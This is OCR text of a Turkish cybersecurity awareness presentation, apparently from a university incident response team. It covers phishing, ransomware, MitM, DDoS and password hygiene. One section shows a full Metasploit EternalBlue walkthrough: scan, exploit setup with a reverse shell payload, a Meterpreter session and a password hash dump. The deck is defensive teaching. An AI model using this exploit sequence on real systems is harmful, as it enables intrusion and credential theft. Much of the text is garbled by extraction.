el o c:.?. I‘ “ '

"Bir seyin degerini anlamadan kaybetmek, en biiyiik 6gretmendir." - Kénftf«;yﬁs

s 9 .
e & »

Type a name to identify yourself to Windows. Enter a
password ¥ you want to

Tip: If you don't enter a password, you won't get this
prompt agan at startup
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Siber Gilivenlik
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ilk Siber Giivenlik Tatbikati MCK Bildirisinde Siber TUBITAK Siber Giivenlik USOM'un Kurulusu
Guvenlik vurgusu Enstitisiu’'nin Kurulmasi

e T T T T e y——_—

Dijital Donlusim Ofisi Emniyet Siber Suglarla Siber Savunma Komutanlhgs
Kurulusu Miicadele Daire Kurulusu
Baskanhgi'nin kurulmasi

MIT Siber istihbarat Siber Guvenlik Meslek Siber Guvenlik Mihendisligi Siber Giivenlik
Baskanhgi Kuruldu Yuksekokullar’’'nin Acilmasi Programinin Aciimasi Teskilati/Baskanhg:
Calismalan

Fiiniimiizde sibet giivenlik, yalnizca teknolojik bix gereklilik degil, ayn: zamanda ulusal giivenlik igin
keitik bix konu olakak giindemde kalmaya devam edecektix /




USOM’un Kurulusu . WP e

» ".. " ¥

2013-2014 donemini kapsayan ve ulkemizin siber guvenllk‘alanlnda 115 strateﬁ x@ eylem plam.olm,a-
ozelligini tasiyan “Ulusal Siber Guvenlik Stratejisi ve Eylem Plani”, 20 Haziran 2013 tarllﬁll ve 28683 saylld

.

Resmi Gazete 'de yayimlanarak yurarlage girdi. N of ¢ ‘
Bu eylem plani ile; B '&
Ulusal Siber Olaylara Midahale Merkezi (USOM) kurulmus, USOM koordinasyonunda 7/24 faall-yet .

gosterecek sekilde kritik altyapi sektorlerinde Sektorel Siber Olaylara Mudahale Ekiplerinin (Sektqr&l

SOME), kurumlar bunyesinde de Kurumsal SOME’lerin kurulmasi duzenlenmis, kurulacak olan SOME' Ierl.n: «

s

yapisl ve gorevlerine yonelik duzenlemeler yapilmistir.

— — S
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AVCI = KASIRGA b WAL
A" A
Zararli yazilim bulasmis sistemlerin \"’ Ulkemizin m‘cernete acik kaxlnaklarlna !
ve komuta kontrol merkezlerinin M iliskin zaflye(taramam ve, hizmet
- \ pP

tespiti surekllllglnln saganmaﬂ
5
? 4 ‘ r-u - §
AVA\D ¢ X .. ATMACA. .
? o NN L :
% N 3 X3 » »
. e . * <2 W » - : f
Makine 6grenmesi ve yapay zeka . &N 4 Zafiyete ait B,ISlZLEI’In proaktlf §ek|lde
ile BotNET lere dahil olan kdle VB engellenmesi ¢ ¢ -
bilgisayarlarin belirlenmesi ’ . : N '
? . 4 ‘
) ¢ ’ » : b,
KULE A

Tespit edilen siber guvenlik eksikliklerine
iliskin bilgilerin ilgili taraflara iletilmesi

ULUSAL SIBEROLAYLARA MUDMALE MERKEZ] |
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Tanimi Onemi Saldirilarin Sonuclari A
Siber glivenlik, bilgisayar sistemleri, Gunumuzde dijitallesmenin artmasi, bireyler « Maddi Kayiplar :
aglar, yazilimlar ve verilerin yetkisiz ve organizasyonlar icin siber guvenligi kritik ' y
. i A : * Veri Kayb
erisim, saldiri, hasar veya hirsizlik gibi hale getirmistir. Siber saldirilar, finansal _
siber tehditlerden korunmasini saglamak kayiplara, itibar kaybina ve veri ihlallerine § Ithgar Kayb) “
amaciyla alinan énlemleri ifade eder. yol acabilir. Bu nedenle, etkili siber giivenlik * Hizmet digi kalma durumu
stratejileri gelistirmek ve uygulamak hayati e Yasal Sorunlar
onem tasir. .
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Siber Tehditlere Genel Bir




Phishing

+855 99 829 377

PTT Kargo: Paketiniz, adres
nedeniyle iade edildi. Yeniden
gvnderilebilmesi icin lotfen
adresinizi goncelleyin. https://

s gd/ottgovult?

W

™

g

&

Phishing (Kimlik Avi) saldirisi, dolandiricilarin kullanicilarin kisisel bilg-ile'rini (pafola; Kredi
~ kullanarak

karti bilgileri vb.) elde etmek icin sahte SMS, e-postalar veya web_siteleri

gerceklestirdigi bir saldiri turudur.

)

Aciklama:

Baglanti Turu:

Tarih:

Kaynak

-

-

s e

To

o ”."
a

-

’
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a= Microsoft 365 Microsoft ' Office 365
b K & . - .
i Phishing E-Postasi

Your password for account

or ch . expires today. Y. .
Oltalama Saldirilarindan Korunma Yollari 71AnEe 0.8 new one in your portal settings by following the butten beler. " < UPdate your password

below.

* Gonderici e-posta adresini kontrol etmek

* Supheli baglantilara tiklamaktan kaginmak = Support Team

h tl‘p.‘ S www.8525

e Cift faktorlu kimlik dogrulama

* Guclu ve benzersiz parola kullanimi
* Yazilim guncellemeleri

* Antiviriis yazilimlar kullanmak




: g * VirUs: Bilgisayara bulasarak kendini kopyalayan kotu amacli yazilim. - , " .
M | “f « * Trojan: Kullanici tarafindan masum bir yazilim gibi gériinen ‘ancak 'arkafv*‘
alwa planda zarar veren yazilimlar. e - A ’
6 « Spyware: Kullanicinin izni olmadan bilgi toplayan yazilimlar.** A - i
- Adware: Kullaniclyi rahatsiz eden reklamlar gésteren yazilimlar.” * " "
' . .Y
4
Lo
» . -

Ransomwa re Ransomware, kullanicinin dosyalarini sifreleyerek erisimini, Sonuclarinin dzeti
- engelleyen ve sifreyi cozmek ic¢in fidye talep eden bir yazilim ismine yansimis
A tiradar. . olan kétiiciil

vazilim
@ @ Ransomware saldirilarindan en meshuru “"WannaCry »
Ransomware Saldirisidir’, Microsoft Windows isletim |
sistemindeki bir guvenlik acigini (EternalBlue) kullanarak
yayilmistir.




Filter: |smb Expression... Clear

Destination Protocol| Lengtl!

v &V’

SMB 1287

1.657226 192.168.180.134 192.168.1860. 13¢ SMB 185 Negot
107.683100 192.168.180.136 192.168.180.134 SMB 39
683251 192.168.180. 13 192.168.1860.136 SMB 251

904 107.951281 2.168.180.136 192.168.180.134 SMB 191 Negotiate

965 187.951571 197.168.1868.134 197.168.1868. 13¢ SMRB 185 Neaoti1ate |
ANnLternel Frolocol version s, . A19Z2.100.100.130 (19Z2.100.100.130), USLT 19Z2.100.100.13%8

Source port: 49482 (49482)
Destination port: 445 (445)
[Stream index: 5]

VEWEIL: Saldlrllarlndan Korunma YoIIarl

d
s
OOOPS, your files have been encrypted! Enghth

+ Gonderici e-posta adfiégimikentrol etmek — .

« Supheli baglantilara tiklamaktan kacinmak = S

512272017 12:06:15 H

Time Left
B2:23:59:47 ||

« Cift faktorlu kimlik dogrulama

Your files will be lost on
0

512612017 12:06:15 H Dy
Time Left g

« Guclu ve benzersiz parola kullanimi Sl

Send $300 worth of bitcoin to this address:
Y | 115p7UMMngoj1pMvkpHijcRAfJNXj6LrLn

* Yazilim guncellemeleri

 Periyodik yedekleme yapmak

« Antivirus yazilimlari1 kullanmak
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msf6 > search eternal blue

Matching Modules

# Name Disclosure Date Rank
Description

0 exploit/windows/smb/ms17 010 gternalblie 2017-03-14

MS17-010 EXEFRalBUUE SMB Remote Windows Kernel Pool Corruption

1 explbit/windowS/smb/ms17~010_psexec 2017-03-14

MS17-010 EtérnalRomance/Etérnalsynergy/EtérnalChampion SMB Remote Windows Code

Execution

2 auxiliary/admin/smb/ms17 010 command 2017-03-14

Windows dzelliklerini ag veya kapat

cutusunu secin, Ozelligi devre
. Delu bir kutu, ozelligin
Priuna gelir.

Bir zelligi etkinlestirmek igin &zelligin ocnay
digi birakmak igin, onay kutusunu temiz
yalnizeca bir kismimin etkinlestirildigi ina gelir,
Microsoft XP5 Bels
MultiPoint Baglay:c
MFS Hizrmetleri
Simple TCPIP services (i.e. echo, daytime etc)
SME 1.0/CIF5 Dosya Paylagimi Destegi
1.0/ CIFS Istemci
O/CIFS Otomatik Kaldirma
SME 1.0/CIF5 Sunucusu
SME Direct
Telnet Client
TFTP Client

(<

Microsoft XPS
MultiPoint Baglay
MFS Hizmetlen

Simple TCPIP services (i.e. echo, daytime etc)

1 [+

SME 1.0/CIFS Dosya Paylasimi Desteqi
SME 1.0/CIFS Istemci
SMB 1.0/CIFS Otomatik Ealdirma
SMB 1.0/CIFS Sunucusu

SMEB Direct

Telnet Client

TFTP Client

| Tamam

Check g%g

1
A dne
- Y
et
- - e e -

Tamam

MS17-010 Efe€rnalRomance/EtérnalSynergy/EtérnalChampion SMB Remote Windows Comma ‘"l\“

nd Execution

3 auxiliary/scanner/smb/smb msl7 010
MS17-010 SMB RCE Detection

4 exploit/windows/smb/smb doublepulsar rce 2017-04-14
SMB DOUBLEPULSAR Remote Code Execution

2 ——— :
= /

normal Yes = f
- /

normal No

normal No

great Yes

Interact with a module by name or index. For example info 4, use 4 or use exploi

o

usunu secin, Ozelligi devre
. Dolu bir kutu, &zelligin




ETERNALBLUE EXPLOIT’i iLE SISTEME SIZMA TESTi

oot@ip-1. _. _ .. __:-# nmap -p 136-139,445 ______ _____5

tarting Nmap 7.60 ( https://nmap.org ) at 2022-06-16 16:21 BST
map scan report for 1p- .. oo i i ot mrcipmem e e e e (1]
ost i1s up (0.00026s latency).

ORT  STATE SERVICE |
36/tcp closed profile

37/tcp closed netbios-ns

38/tcp closed netbios-dgm

39/tcp open netbios-ssn

45/tcp open  microsoft-ds

AC Address: 02:..c.c...c.vv.-. (Unknown)

msfconsole

- N\ /N -
| I 10— /% vy |1\
|/ NN IV |

metasploit w5.0.101-dev

2048 exploits - 1185 auxiliary - 344 post
564 payloads - 45 encoders - 10 nops

7 evasion

etasploit tip: After running db_nmap, be sure to check out the result of hosts
services I

e |

msf6 > search eternal blue

Matching Modules

# Name
Description

0 exploit/windows/smb/msl17 010 EtErnalblié 2017-03-14 average Yes
MS17-010 EfEFRalBllié SMB Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms1l7 010 psexec 2017-03-14 normal Yes
MS17-010 EfeéfnalRomance/Efefnalsynergy/EfefnalChampion SMB Remote Windows Code
Execution

2 auxiliary/admin/smb/ms17 010 command 2017-03-14 normal No
MS17-010 EfeéfnalRomance/EfernalSynergy/EféfnalChampion SMB Remote Windows Comma
nd Execution

3 auxiliary/scanner/smb/smb _msl7 010 normal No
MS17-010 SMB RCE Detection

4 exploit/windows/smb/smb doublepulsar rce 2017-04-14 great Yes
SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploi

msf5 auxiliary( )} = used
[*] No payload configured, defaulting to windows/x64/meterpreterfreverse tcp
msf5 exploit( ) =

msf5 exploit( ) » set RHOSTS 1__ __ __  ___
RHOSTS => 1~ -~ =~ 77

msf5 exploit( ) » set LHOST 1_ __ _— - "~
LHOST => 1t

msf5 exploit( ) > exploit

[*] Started reverse TCP handler on 1 14444

[*] 1 :445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 1o v .. ..__:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service
Pack 1 x64 (64-bit)

[*] 1° °7 777 T7:445 - Scanned 1 of 1 hosts (100% complete)
o 1445 - Connecting to target for exploitation.

ek

]
» ] 1 :445 - Connection established for exploitation.
] 1 1445 - Target 0S selected valid for 0S indicated by SMB reply
[*] 1 1445 - CORE raw buffer dump (42 bytes)
[*] 1 1445 - OX00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 1 1445 - Ox00000010 73 69 6f 6e 61 6C 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 1 1445 - Ox00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 1 1445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 1 1445 - Trying exploit with 12 Groom Allocations.
[*] 1 1445 - Sending all but last fragment of exploit packet
[(*] 1 :445 - Starting non-paged pool grooming
[+] 1 1445 - Sending SMBv2 buffers
[+] 1 1445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 1 :445 - Sending final SMBv2 buffers.
[*] 1 1445 - Sending last fragment of exploit packet!
[*] 1 1445 - Receiving response from exploit packet
[+] 1 1445 - ETERNALBLUE overwrite completed successfully (OxCOOOO0OD)!
[*] 1 :445 - Sending egg to corrupted connection.
[*] 1 1445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 1€ -
[*] Meterpreter session 1 opened (1 »:4444 -> 1 :49183) at 2024-06-11 16:30:06 +0100
[+] 1~ -~ 77 "7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 1 1445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 1. ... ..__445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > |

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfed®d16ae931b73¢c59d7e0cO89¢cH: 1

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0cO89¢CO: ::

X 1000 :aad3b435b51404eeaad3b435b51404ee: ffb43f0de3s5bed4d9917acOcc8ads7f8d: ::
meterpreter > [

"Bu boliimde anlatilan bilgilerin sadece farkindalik olusturmak amaciyla verildigini unutmayin. YETKIiSiZ YAPILAN HER iSLEM SUC TESKIL EDEBILIR..."



Diger Tehditler

Man-in-the-Middle (MitM) Saldirilari:

MitM saldirilari, saldirganin iletisimdeki iki taraf arasinda gizlice veri aligverisini ‘dinlemesidir.

bilgileri calabilir veya manipule edebilir.

..

-

Ornek: Halka acik Wi-Fi agi tzerinden gergeklestirilen bir saldirida, bir kullanici gi]vénli olrhayarns bu

actiginda, saldirgan kullanici ile sunucu arasindaki veriyi dinleyebilir.

S

. N tacor Interface: 192.168.43.65 --- 0x16
ARP ESF)()C)f”qu Internet Address Phvsical Address
192.168.43.1 08-00-27-89-03-db
— 192.168.43.220 08-00-27-89-03-db
ZTS YEIWEW LG
m _ 192.168.43.25¢ FE-FF-Fr-ff-ff-f1
224.0.0.22 91-00-5e-00-00-16
o 224.0.0.251 91-00-5e-00-00-fb
Victim
IRiemet A Network 224.0.0.252 91-00-5e-00-00-fc
ccess Point N

239.255.255.250 01-00-5e-7f-ff-fa
Insecure Lab 255.255.255_255 FF-Ff-FF-FF-ff-Ff

> ‘i
Bu‘sayede®saldirgan,
s .

o +

i

agda oturum

Type
dynamic
dynamic
static
static
static
static
static
static

(Guvenli oldugundan emin olmadiginiz aglara baglanmamak en etkili korunma yontemidir!)
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ARP (Address Resolution Protocol), bir agda, belirli bir IP adresine sahip cihazin MAC adresini
ogrenmek icin kullanilan bir protokoldur.

IP:10.10.10.23

. Mac: 00.ad.ef. 7f.2c.1d
Client 1 .

ARP Request

Who is 10.10.10.5 7 ARP Request IP: 10.10.10.11

Whaois 10.10.10.5 7 Mac: 00.ed.af.4f.4c1e

Chent4
,ﬂ P: 10.10.10.5%
< Mac: 00.ae.cf. 1d.91.2¢
T

i
(o4 L ] [ ] [ [ ] ] [ ] [ ] L L mm 7 L - ] ] h
AGDAKI CIHAZLARIN BIRBIRLERININ FIZIKSEL ADRESLERINI OGRENEBILMELERI ICIN

KULLANILAN ARP PROTOKOLUNUN GENEL CALISMA PRENSIBI



MITM saldirilarina karsi korunmanin en etkili yolu elbette guvenmediginiz higbir anLa otu:ru'm
® p— \‘
acmamak ve eger baglanmak zorunda kalirsaniz da veri sifreleme tekniklerini kuIIanﬂmfa‘k'tTr.

i
’ ! e A
r - "5
:A
e
(Guvenilir olmayan aglara baglanmamak en etkili korunma yontemidir!)
JS . )

Data sent across the HTTP is plain text

e

username: username YOUR DATA PROTECTS YOUR DATA
password: password

<«

Browser

With SSL

\/

Data sent across the HTTP is encrypted INTERNET

username: qhgVtu0873LqtIOhhGGD5h/41638bVghRFg
password: wsdrTGD65fTV&87Bgh8Bgr6JI9IL8g990nB

<

Browser




Zero-Day Saldirilari | 2

Yazilimda veya sistemde kesfedilen bir glivenlik aciginin, bu acik icin henliz biryama veya ¢6zim

gelistirimeden kotu niyetli kigiler tarafindan kullaniimasi sonucu gerceklestirilen saldirilardiry s,

. - LR - .
Cryptojacking Y
Saldirganlarin, kurbanlarin bilgisayarinin, telefonunun veya diger cihazlarinin kaynaklarini izinsiz

u
bir sekilde kullanarak kripto para madenciligi yapmasidir. Kullanicinin cihazina zaratl bir yazilim
P 4 ‘

yikleyerek veya Internette gezinirken kripto madenciligi komutlari barindiran bir web sitesine

(2]

girdiginizde, bilgisayarin islem gucunu kripto para madenciligi icin kullanmayi temel alaﬁ bir

saldiri turudur. S

Passwords Attacks (Sifre Saldirilari)

Bir sistem veya hesaba yetkisiz erisim saglamak i¢in kullanicilarin parolalarini tahnmin etme veya
ele gecirme amaciyla yapilan saldirilardir. Bu tur saldirilar, sistemlerin guvenligini ihlal etmek igin

yaygin olarak kullanilir ve farkli yontemlerle gerceklestirilebilir. Parola saldirilari, dogru parolayi

ele gecirerek kullanici kimlik dogrulamasini atlamayi hedefler.
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DoS DDoS
Less traffic Traffic volume Much higher traffic amounts
Carried out from a single i Carried out from a server that
machine using a script or tool cxCLCUtion imetnod coordinates numerous botnets
- B
Less difficult to track the source Source More difficult to identify the
attack source
»
f
b

Bazi cevrimici hizmetlerin duzgun calismasini engellemek i¢cin yapilan saldirilardir. Saldirganlar bir Web sitesine
veya bir veri tabanina cok fazla sayida istek gonderip sistemi mesgul ederler ve bu da sistemlerin calismasini

durdurmasina yol acabilir. DDoS ise bu saldirilarin birden fazla bilgisayardan yani botnet’'ten yapilmasi ile olur.



-
e

Bu grafiklerde, fidye yazilimlari (ransomware), DDoS saldirilari, oltalama (phishing) saldirilari, devlet destekli saldirilar

ve loT cihazlarina yonelik saldirilarin yillar icindeki degisimini ve en fazla hedef alinan sektorleri gérebilirsiniz.

. y
. " s

Cybersecurity Attack Types Trend (2020-2023)
Ransomware HEDEF SEKTORLER (2023),+

DDoS

Phishing -
B

State-sponsored - -
loT attacks » Egitim
o8 10%
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Genel Olarak Siber Tehditlerden Korunma Yollari:

« E-posta gondericisini dikkatlice kontrol etmek.
« Supheli baglantilara tiklamamak. Pa
« Bilinmeyen kaynaklardan gelen yazilimlari indirmemek.

» Kisisel bilgilerinizi asla e-posta veya mesaj yoluyla paylasmamak.

 Guvenli HTTPS baglantilari kullanan web sitelerini tercih etmek. -~

« Bilinmeyen aglara baglanildiginda sanal ozel ag (VPN) kullanarak interqet trafigiﬁizislirele‘rpek. L ' "

« Hesaplar igin guc¢lu ve benzersiz parolalar kullanmak. ' . . . :‘. i ~., ‘: ,"‘ -
 Lisansli yazilimlari tercih etmek. ' ...'" T ”
* Yazilimlari ve igletim sistemlerini surekli guncel tutmak. 3 ,_;‘ | :. 7

« Antivirus yazilimlari ve guvenlik duvari kullanmak. (SOPHOS Endpoint Agent: https://virus.ogu.edu.tr/) -

— 9

* Antivirus ve anti-malware yazilimlarini guncel tutmak.

* Duzenli sistem taramalari yapmak.

N — e M ———————— R — T —— e ¢ - S 8 ~— - — —— B W e ul ~
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PAROLA ve HESAP

GU VENLIGI




= 2

Hesaplarinizda guvenligi saglamanin ilk adimi guclu bir parola 6I¥u’§iurm‘a‘kt’|r.

-

Giiglii Parolalarin Ozellikleri y | N T
. () = ‘4&“

Uzunluk Karmasiklik Tekrarlanmamasi Tahmin Edilemezlik
Seralela @ aw 206 kepalkia Blylk harf, kiicik harf,  Ayni parolayi birden fazla P§f§i§el bilgiler (dogum tarifii, ad
uzunlugunda olmalidir. Uzun rakam ve ozel hesapta kullanmaktan Vb-'): igerrp,en‘fé.lidir. Sakj,rga‘mar
parolalar, tahmin edilmesi zor karakterler (orn. !, @, #, kaciniimalidir. Bir hesapta bu bilgileri kolay¢a tahmin
oldugu icin daha giivenlidir. $, %) icermelidir. Bu, meydana gelen bir ihlal, edehilir. f-:‘

parolanin gucunu artirir.  diger hesaplarin da tehlikeyey :

girmesine yol acabilir. : ¢

iloveyou
passwordl
000000

qwerl234
111111

om0 | e L
73 1
73 20

27653
zaql2wsx
tinkle

l
|



Iki Faktorlii Kimlik Dogrulama (2FA)

ki faktorli kimlik dogrulama, bir hesaba giris yaparken yalnizca
parolanizi kullanmak yerine, ikinci bir kimlik dogrulama katmani ekl'eyen

bir guvenlik yontemidir. Bu, genellikle telefonunuza gonderilen bir kod.

veya bir uygulama uzerinden olusturulan bir kod ile gerceklestirilir.
»

-
4

L : | - !
SMS, e-posta veya kimlik dogrulama uygulamalari (orn. Google ve Microsoft Authenticator, Authy) &

Ed ‘ -
v e b

gibi farkli yontemler ile iki faktorlu kimlik dogrulama uygulanabilirs v

s -

(2FA'nin en buyuk avantaji; parolalar calinsa bile, ikinci faktor olmadan h'ésépa ‘eriéi}n mumkun

olmaz.) N1 I8 "N




Giivenli -~
Internet- . *
Kullanimi -
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Guvenilir Sitelerin Taninmasi
« HTTPS (Hypertext Transfer Protocol Secure) Kullanimi: Glvenilir_ siteler
genellikle "https://" ile baslar. HTTPS, veri iletimini sifreler ve kullanicilarin
guvenligini artirir. )
. Alan Adi Kontrolii: Bilinen ve giivenilir markalarin resmi web sitelerini kullanmaya
6zen godsterin. Phishing saldirilari genellikle benzer alan adlari kullanarak yaniltici
siteler olusturur. Ornegdin: https://www.teb.com/tr

Sosyal Medya Guvenligi

« Ayarlari Kontrol Etme: Sosyal medya hesaplarinizin gizlilik ayarlarini
duzenleyerek, kimlerin igeriklerinizi gorebilecegini sinirlayabilirsiniz.

« Paylasilan Bilgilerin Sinirlandiriilmasi: Kisisel bilgilerinizi (adres, telefon
numarasi, dogum tarihi vb.) herkese acik hale getirmekten kacinin. Bu tur
bilgiler, sosyal muhendislik saldirilari icin kullanilabilir. .

« Supheli Baglantilara Dikkat: Sosyal medya uzerinden tanlmadlgl'nlz Kigilerden
gelen baglantilara tiklamaktan kacginin. Genellikle bu baglantilar zararl
yazilimlar icerebilir.

Ek Guvenlik Onerileri
« Kamuya acik Wi-Fi aglarindan kac¢inin: Eger bu aglari kullanmak durumunda
kalirsaniz mumkunse ozel bir VPN kullanarak baglantinizi guvence altina alin.
» Internet tarayicilarinizi dizenli olarak giincelleyin.
« Sistemlerinize lisansli antivirus yazilimi yuklemeyi ihmal etmeyin.

- — E =G S TR E TR T Z—



Kaynak Sayfasi

. Vikipedi: Ozglir Ansiklopedi (wikipedia.org)

 Ulusal Siber Olaylara Mudahale Merkezi - USOM

« Ulusal Siber Guvenlik Stratejisi ve Eylem Plani (2024-2028) ‘ s ,
 Kurumsal SOME Rehberi
- ESOGU Bilgi islem Daire Baskanligi
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Unutulmamahlidir ki; Her an i¢in karsi karsiya kalabilecegimiz bir siber saldiri, yalnlzcé dikkatli elmakla |
engellenebilir! .
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"Siber Giivenlik, Herkesin Sorumlulugu!"#

!

-

"Verilerini Koru, Geleceéihi Koru!"

"Her Tiklama, Bir Tehdit!®
- |
"Guclu Parola, Guvenli Hayat!" %

"Farkindalik, En lyi Savunmadir!"

"Siber Guvenlikte Onleyici OI!"



https://some.ogu.edu.tr

some@ogu.edu.tr
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Tesekkurler...

(Siber Giivenlik Uzmani - Programci (MCP/MCTS))
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